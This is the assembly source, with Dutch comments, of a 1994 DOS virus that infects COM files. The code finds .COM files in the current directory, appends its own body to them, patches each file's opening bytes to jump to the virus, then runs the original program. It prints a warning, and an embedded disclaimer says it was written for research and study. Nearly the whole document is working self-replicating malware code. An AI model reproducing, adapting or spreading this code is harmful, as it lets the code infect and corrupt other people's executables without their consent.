2022-08-21 09:07:57 +00:00
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; Com-infector ...
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IDEAL ; Informatie voor de
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MODEL SMALL ; assembler (TASM)
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CODESEG ; om een COM file
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ORG 100h ; te genereren.
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VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat
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; dit virus groot is.
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FIRST:
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DB 0FBh ; Markering dat deze
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; file geinfecteerd
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; is.
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DB 0E9h ; Een 3-bytes ge-
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DW 00000h ; infecteerde file.
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VX: CALL RELATIVE ; Zet die offset van
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RELATIVE: ; RELATIVE in BP,
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POP BP ; trekt daar de positie
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SUB BP,OFFSET RELATIVE ; van RELATIVE af in
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; de originele file
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; (deze file),
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; en zo kan de relative
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; positie van de data
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; in het geheugen
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; bepaalt worden.
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MOV AH,009h ; Laat waarschuwing
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LEA DX,[BP + MEDEDELING] ; zien.
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INT 021h ;
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LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3
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MOV DI,0100h ; bytes van de ge-
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CLD ; infecteerde file
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MOVSW ; terug.
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MOVSW ;
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MOV AH,02Fh ; Bewaar de pointer
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INT 021h ; naar het DTA blok.
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MOV [WORD PTR CS:BP + OLD_DTA ],BX ;
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MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ;
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MOV AH,01Ah ; Zet die pointer naar
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LEA DX,[BP + NEW_DTA] ; het DTA blok van dit
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INT 021h ; virus.
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MOV AH,04Eh ; Zoek de eerste COM
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MOV CX,022h ; file in deze
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LEA DX,[BP + FILE_NAME] ; directory.
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JMP FIND ;
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AGAIN: MOV AH,04Fh ; Volgende COM file.
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FIND: INT 021h ; Zoek, en als er
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JC EXIT ; geen COM files meer
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; in deze directory
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; zijn, dan naar EXIT.
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MOV AX,03D02h ; Open de te infecteren
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LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de
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INT 021h ; file handle in BX.
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MOV BX,AX ;
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MOV AH,03Fh ; Lees de eerste 4
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MOV CX,00004h ; bytes in.
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LEA DX,[BP + OLD_BYTES] ;
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MOV DI,DX ;
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INT 021h ;
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CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB
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JE AGAIN ; dan naar AGAIN.
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MOV AX,04202h ; Ga naar 't einde
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XOR CX,CX ; van de file.
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XOR DX,DX ;
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INT 021h ;
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OR DX,DX ; Als de file grote is
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JNZ AGAIN ; dat een segment niet
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; infecteren, want dan
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; kan het geen COM
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; file zijn.
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; (Terug naar AGAIN)
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CMP AX,1024 ; Is de file kleiner
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JB AGAIN ; dan 1024, dan naar
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NOT_2_SMALL: ; AGAIN.
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CMP AX,50000 ; Ook groter dan 50000
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JA AGAIN ; infecteren we niet.
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; (dan terug naar AGAIN)
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SUB AX,00004h ; Bereken waar die jump
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MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de
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; geinfecteerde file
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; heen moet springen.
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MOV AH,040h ; Append 't virus
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MOV CX,VX_LEN ; aan de file.
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LEA DX,[BP + VX] ;
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INT 021h ;
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MOV AX,04200h ; Ga naar 't begin van
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XOR CX,CX ; de file.
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XOR DX,DX ;
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INT 021h ;
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MOV AH,040h ; Schrijf de markering
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MOV CX,00004h ; en de jump naar 't
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LEA DX,[BP + NEW_BYTES] ; virus aan 't begin
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INT 021h ; van de file.
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MOV AH,03Eh ; Sluit de file.
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INT 021h ;
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JMP AGAIN ; Spring naar AGAIN.
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EXIT:
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PUSH DS ; Save DS.
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MOV DX,[WORD PTR CS:BP + OLD_DTA ]
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MOV AX,[WORD PTR CS:BP + OLD_DTA + 2]
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MOV DS,AX
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MOV AH,01Ah
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INT 021h
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POP DS ; Restore DS.
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MOV SI,0100h ; Start de originele
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JMP SI ; file op.
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; *** Data ***
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Mededeling:
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DB "This file contains a virus!!! Please COLD-boot from a write protected"
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DB 00Dh, 00Ah
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DB "system disk and use you anti virus software!!!$"
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Disclaimer:
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DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
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DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
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Auteur:
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DB "(C) 1994 - [D<>RkR<6B>Y] retired virus writer..."
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OLD_BYTES: NOP
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NOP
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NOP
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RET
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FILE_NAME: DB "*.COM",0h
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NEW_BYTES DB 0FBh, 0E9h, ?, ?
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OLD_DTA DW ?, ?
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NEW_DTA DW 34 DUP(?)
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END FIRST
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